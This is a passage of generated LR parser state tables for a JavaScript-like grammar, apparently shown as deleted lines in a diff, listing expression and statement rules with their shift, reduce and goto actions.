- 147) EqualityExpr : EqualityExpr STREQ _ RelationalExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 359
-
-state 242
-
- 148) EqualityExpr : EqualityExpr STRNEQ _ RelationalExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 360
-
-state 243
-
- 160) BitwiseANDExpr : BitwiseANDExpr "&" _ EqualityExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 361
-
-state 244
-
- 166) BitwiseXORExpr : BitwiseXORExpr "^" _ BitwiseANDExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 362
-
-state 245
-
- 172) BitwiseORExpr : BitwiseORExpr "|" _ BitwiseXORExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 363
-
-state 246
-
- 178) LogicalANDExpr : LogicalANDExpr AND _ BitwiseORExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 364
-
-state 247
-
- 184) LogicalORExpr : LogicalORExpr OR _ LogicalANDExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 365
-
-state 248
-
- 190) ConditionalExpr : LogicalORExpr "?" _ AssignmentExpr ":" AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  AssignmentExpr  go to state 366
-  ConditionalExpr  go to state 109
-
-state 249
-
- 287) FunctionExpr : FUNCTION "(" _ ")" "{" FunctionBody "}"
- 288) FunctionExpr : FUNCTION "(" _ FormalParameterList ")" "{" FunctionBody "}"
-
-  IDENT         shift, and go to state 369
-  ")"           shift, and go to state 367
-
-  FormalParameterList  go to state 368
-
-state 250
-
- 289) FunctionExpr : FUNCTION IDENT _ "(" ")" "{" FunctionBody "}"
- 290) FunctionExpr : FUNCTION IDENT _ "(" FormalParameterList ")" "{" FunctionBody "}"
-
-  "("           shift, and go to state 370
-
-
-state 251
-
-  45) ArrayLiteral : "[" ElisionOpt "]" _
-
-  $default      reduce using rule 45 (ArrayLiteral)
-
-
-state 252
-
-  48) ElementList : ElisionOpt AssignmentExpr _
-
-  $default      reduce using rule 48 (ElementList)
-
-
-state 253
-
-  46) ArrayLiteral : "[" ElementList "]" _
-
-  $default      reduce using rule 46 (ArrayLiteral)
-
-
-state 254
-
-  47) ArrayLiteral : "[" ElementList "," _ ElisionOpt "]"
-  49) ElementList : ElementList "," _ ElisionOpt AssignmentExpr
-
-  ","           shift, and go to state 115
-  $default      reduce using rule 50 (ElisionOpt)
-
-  ElisionOpt    go to state 371
-  Elision       go to state 114
-
-state 255
-
-  53) Elision : Elision "," _
-
-  $default      reduce using rule 53 (Elision)
-
-
-state 256
-
-  60) MemberExprNoBF : MemberExprNoBF "[" Expr _ "]"
- 214) Expr : Expr _ "," AssignmentExpr
-
-  ","           shift, and go to state 213
-  "]"           shift, and go to state 372
-
-
-state 257
-
-  61) MemberExprNoBF : MemberExprNoBF "." IDENT _
-
-  $default      reduce using rule 61 (MemberExprNoBF)
-
-
-state 258
-
-  75) Arguments : "(" ")" _
-
-  $default      reduce using rule 75 (Arguments)
-
-
-state 259
-
-  76) Arguments : "(" ArgumentList _ ")"
-  78) ArgumentList : ArgumentList _ "," AssignmentExpr
-
-  ")"           shift, and go to state 373
-  ","           shift, and go to state 374
-
-
-state 260
-
-  77) ArgumentList : AssignmentExpr _
-
-  $default      reduce using rule 77 (ArgumentList)
-
-
-state 261
-
-  62) MemberExprNoBF : NEW MemberExpr Arguments _
-
-  $default      reduce using rule 62 (MemberExprNoBF)
-
-
-state 262
-
-  73) CallExprNoBF : CallExprNoBF "[" Expr _ "]"
- 214) Expr : Expr _ "," AssignmentExpr
-
-  ","           shift, and go to state 213
-  "]"           shift, and go to state 375
-
-
-state 263
-
-  74) CallExprNoBF : CallExprNoBF "." IDENT _
-
-  $default      reduce using rule 74 (CallExprNoBF)
-
-
-state 264
-
- 200) AssignmentExprNoBF : LeftHandSideExprNoBF AssignmentOperator AssignmentExpr _
-
-  $default      reduce using rule 200 (AssignmentExprNoBF)
-
-
-state 265
-
- 107) MultiplicativeExprNoBF : MultiplicativeExprNoBF "*" UnaryExpr _
-
-  $default      reduce using rule 107 (MultiplicativeExprNoBF)
-
-
-state 266
-
- 108) MultiplicativeExprNoBF : MultiplicativeExprNoBF "/" UnaryExpr _
-
-  $default      reduce using rule 108 (MultiplicativeExprNoBF)
-
-
-state 267
-
- 109) MultiplicativeExprNoBF : MultiplicativeExprNoBF "%" UnaryExpr _
-
-  $default      reduce using rule 109 (MultiplicativeExprNoBF)
-
-
-state 268
-
- 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr
- 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr
- 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr
- 114) AdditiveExprNoBF : AdditiveExprNoBF "+" MultiplicativeExpr _
-
-  "*"           shift, and go to state 225
-  "/"           shift, and go to state 226
-  "%"           shift, and go to state 227
-  $default      reduce using rule 114 (AdditiveExprNoBF)
-
-
-state 269
-
- 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr
- 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr
- 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr
- 115) AdditiveExprNoBF : AdditiveExprNoBF "-" MultiplicativeExpr _
-
-  "*"           shift, and go to state 225
-  "/"           shift, and go to state 226
-  "%"           shift, and go to state 227
-  $default      reduce using rule 115 (AdditiveExprNoBF)
-
-
-state 270
-
- 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr
- 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr
- 121) ShiftExprNoBF : ShiftExprNoBF LSHIFT AdditiveExpr _
-
-  "+"           shift, and go to state 228
-  "-"           shift, and go to state 229
-  $default      reduce using rule 121 (ShiftExprNoBF)
-
-
-state 271
-
- 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr
- 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr
- 122) ShiftExprNoBF : ShiftExprNoBF RSHIFT AdditiveExpr _
-
-  "+"           shift, and go to state 228
-  "-"           shift, and go to state 229
-  $default      reduce using rule 122 (ShiftExprNoBF)
-
-
-state 272
-
- 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr
- 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr
- 123) ShiftExprNoBF : ShiftExprNoBF URSHIFT AdditiveExpr _
-
-  "+"           shift, and go to state 228
-  "-"           shift, and go to state 229
-  $default      reduce using rule 123 (ShiftExprNoBF)
-
-
-state 273
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 138) RelationalExprNoBF : RelationalExprNoBF "<" ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 138 (RelationalExprNoBF)
-
-
-state 274
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 139) RelationalExprNoBF : RelationalExprNoBF ">" ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 139 (RelationalExprNoBF)
-
-
-state 275
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 140) RelationalExprNoBF : RelationalExprNoBF LE ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 140 (RelationalExprNoBF)
-
-
-state 276
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 141) RelationalExprNoBF : RelationalExprNoBF GE ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 141 (RelationalExprNoBF)
-
-
-state 277
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 142) RelationalExprNoBF : RelationalExprNoBF INSTANCEOF ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 142 (RelationalExprNoBF)
-
-
-state 278
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 143) RelationalExprNoBF : RelationalExprNoBF IN ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 143 (RelationalExprNoBF)
-
-
-state 279
-
- 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr
- 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr
- 127) RelationalExpr : RelationalExpr _ LE ShiftExpr
- 128) RelationalExpr : RelationalExpr _ GE ShiftExpr
- 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr
- 130) RelationalExpr : RelationalExpr _ IN ShiftExpr
- 155) EqualityExprNoBF : EqualityExprNoBF EQEQ RelationalExpr _
-
-  IN            shift, and go to state 238
-  INSTANCEOF    shift, and go to state 237
-  LE            shift, and go to state 235
-  GE            shift, and go to state 236
-  "<"           shift, and go to state 233
-  ">"           shift, and go to state 234
-  $default      reduce using rule 155 (EqualityExprNoBF)
-
-
-state 280
-
- 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr
- 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr
- 127) RelationalExpr : RelationalExpr _ LE ShiftExpr
- 128) RelationalExpr : RelationalExpr _ GE ShiftExpr
- 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr
- 130) RelationalExpr : RelationalExpr _ IN ShiftExpr
- 156) EqualityExprNoBF : EqualityExprNoBF NE RelationalExpr _
-
-  IN            shift, and go to state 238
-  INSTANCEOF    shift, and go to state 237
-  LE            shift, and go to state 235
-  GE            shift, and go to state 236
-  "<"           shift, and go to state 233
-  ">"           shift, and go to state 234
-  $default      reduce using rule 156 (EqualityExprNoBF)
-
-
-state 281
-
- 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr
- 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr
- 127) RelationalExpr : RelationalExpr _ LE ShiftExpr
- 128) RelationalExpr : RelationalExpr _ GE ShiftExpr
- 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr
- 130) RelationalExpr : RelationalExpr _ IN ShiftExpr
- 157) EqualityExprNoBF : EqualityExprNoBF STREQ RelationalExpr _
-
-  IN            shift, and go to state 238
-  INSTANCEOF    shift, and go to state 237
-  LE            shift, and go to state 235
-  GE            shift, and go to state 236
-  "<"           shift, and go to state 233
-  ">"           shift, and go to state 234
-  $default      reduce using rule 157 (EqualityExprNoBF)
-
-
-state 282
-
- 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr
- 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr
- 127) RelationalExpr : RelationalExpr _ LE ShiftExpr
- 128) RelationalExpr : RelationalExpr _ GE ShiftExpr
- 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr
- 130) RelationalExpr : RelationalExpr _ IN ShiftExpr
- 158) EqualityExprNoBF : EqualityExprNoBF STRNEQ RelationalExpr _
-
-  IN            shift, and go to state 238
-  INSTANCEOF    shift, and go to state 237
-  LE            shift, and go to state 235
-  GE            shift, and go to state 236
-  "<"           shift, and go to state 233
-  ">"           shift, and go to state 234
-  $default      reduce using rule 158 (EqualityExprNoBF)
-
-
-state 283
-
- 145) EqualityExpr : EqualityExpr _ EQEQ RelationalExpr
- 146) EqualityExpr : EqualityExpr _ NE RelationalExpr
- 147) EqualityExpr : EqualityExpr _ STREQ RelationalExpr
- 148) EqualityExpr : EqualityExpr _ STRNEQ RelationalExpr
- 164) BitwiseANDExprNoBF : BitwiseANDExprNoBF "&" EqualityExpr _
-
-  EQEQ          shift, and go to state 239
-  NE            shift, and go to state 240
-  STREQ         shift, and go to state 241
-  STRNEQ        shift, and go to state 242
-  $default      reduce using rule 164 (BitwiseANDExprNoBF)
-
-
-state 284
-
- 160) BitwiseANDExpr : BitwiseANDExpr _ "&" EqualityExpr
- 170) BitwiseXORExprNoBF : BitwiseXORExprNoBF "^" BitwiseANDExpr _
-
-  "&"           shift, and go to state 243
-  $default      reduce using rule 170 (BitwiseXORExprNoBF)
-
-
-state 285
-
- 166) BitwiseXORExpr : BitwiseXORExpr _ "^" BitwiseANDExpr
- 176) BitwiseORExprNoBF : BitwiseORExprNoBF "|" BitwiseXORExpr _
-
-  "^"           shift, and go to state 244
-  $default      reduce using rule 176 (BitwiseORExprNoBF)
-
-
-state 286
-
- 172) BitwiseORExpr : BitwiseORExpr _ "|" BitwiseXORExpr
- 182) LogicalANDExprNoBF : LogicalANDExprNoBF AND BitwiseORExpr _
-
-  "|"           shift, and go to state 245
-  $default      reduce using rule 182 (LogicalANDExprNoBF)
-
-
-state 287
-
- 178) LogicalANDExpr : LogicalANDExpr _ AND BitwiseORExpr
- 188) LogicalORExprNoBF : LogicalORExprNoBF OR LogicalANDExpr _
-
-  AND           shift, and go to state 246
-  $default      reduce using rule 188 (LogicalORExprNoBF)
-
-
-state 288
-
- 194) ConditionalExprNoBF : LogicalORExprNoBF "?" AssignmentExpr _ ":" AssignmentExpr
-
-  ":"           shift, and go to state 376
-
-
-state 289
-
- 218) ExprNoBF : ExprNoBF "," AssignmentExpr _
-
-  $default      reduce using rule 218 (ExprNoBF)
-
-
-state 290
-
- 219) Block : "{" SourceElements "}" _
-
-  $default      reduce using rule 219 (Block)
-
-
-state 291
-
- 220) VariableStatement : VAR VariableDeclarationList ";" _
-
-  $default      reduce using rule 220 (VariableStatement)
-
-
-state 292
-
- 221) VariableStatement : VAR VariableDeclarationList error _
-
-  $default      reduce using rule 221 (VariableStatement)
-
-
-state 293
-
- 223) VariableDeclarationList : VariableDeclarationList "," _ VariableDeclaration
-
-  IDENT         shift, and go to state 180
-
-  VariableDeclaration  go to state 377
-
-state 294
-
- 227) VariableDeclaration : IDENT Initializer _
-
-  $default      reduce using rule 227 (VariableDeclaration)
-
-
-state 295
-
- 236) Initializer : "=" _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 378
-
-state 296
-
- 230) ConstStatement : CONST ConstDeclarationList ";" _
-
-  $default      reduce using rule 230 (ConstStatement)
-
-
-state 297
-
- 231) ConstStatement : CONST ConstDeclarationList error _
-
-  $default      reduce using rule 231 (ConstStatement)
-
-
-state 298
-
- 233) ConstDeclarationList : ConstDeclarationList "," _ ConstDeclaration
-
-  IDENT         shift, and go to state 183
-
-  ConstDeclaration  go to state 379
-
-state 299
-
- 235) ConstDeclaration : IDENT Initializer _
-
-  $default      reduce using rule 235 (ConstDeclaration)
-
-
-state 300
-
- 214) Expr : Expr _ "," AssignmentExpr
- 241) IfStatement : IF "(" Expr _ ")" Statement
- 242) IfStatement : IF "(" Expr _ ")" Statement ELSE Statement
-
-  ")"           shift, and go to state 380
-  ","           shift, and go to state 213
-
-
-state 301
-
- 243) IterationStatement : DO Statement WHILE _ "(" Expr ")" ";"
- 244) IterationStatement : DO Statement WHILE _ "(" Expr ")" error
-
-  "("           shift, and go to state 381
-
-
-state 302
-
- 214) Expr : Expr _ "," AssignmentExpr
- 245) IterationStatement : WHILE "(" Expr _ ")" Statement
-
-  ")"           shift, and go to state 382
-  ","           shift, and go to state 213
-
-
-state 303
-
-  83) PostfixExpr : LeftHandSideExpr _
-  84) PostfixExpr : LeftHandSideExpr _ PLUSPLUS
-  85) PostfixExpr : LeftHandSideExpr _ MINUSMINUS
- 198) AssignmentExprNoIn : LeftHandSideExpr _ AssignmentOperator AssignmentExprNoIn
- 248) IterationStatement : FOR "(" LeftHandSideExpr _ IN Expr ")" Statement
-
-  IN            shift, and go to state 384
-  PLUSPLUS      shift, and go to state 222
-  MINUSMINUS    shift, and go to state 223
-  PLUSEQUAL     shift, and go to state 129
-  MINUSEQUAL    shift, and go to state 130
-  MULTEQUAL     shift, and go to state 131
-  DIVEQUAL      shift, and go to state 132
-  LSHIFTEQUAL   shift, and go to state 133
-  RSHIFTEQUAL   shift, and go to state 134
-  URSHIFTEQUAL  shift, and go to state 135
-  ANDEQUAL      shift, and go to state 136
-  MODEQUAL      shift, and go to state 139
-  XOREQUAL      shift, and go to state 137
-  OREQUAL       shift, and go to state 138
-  "="           shift, and go to state 128
-  $default      reduce using rule 83 (PostfixExpr)
-
-  AssignmentOperator  go to state 383
-
-state 304
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 131) RelationalExprNoIn : ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 131 (RelationalExprNoIn)
-
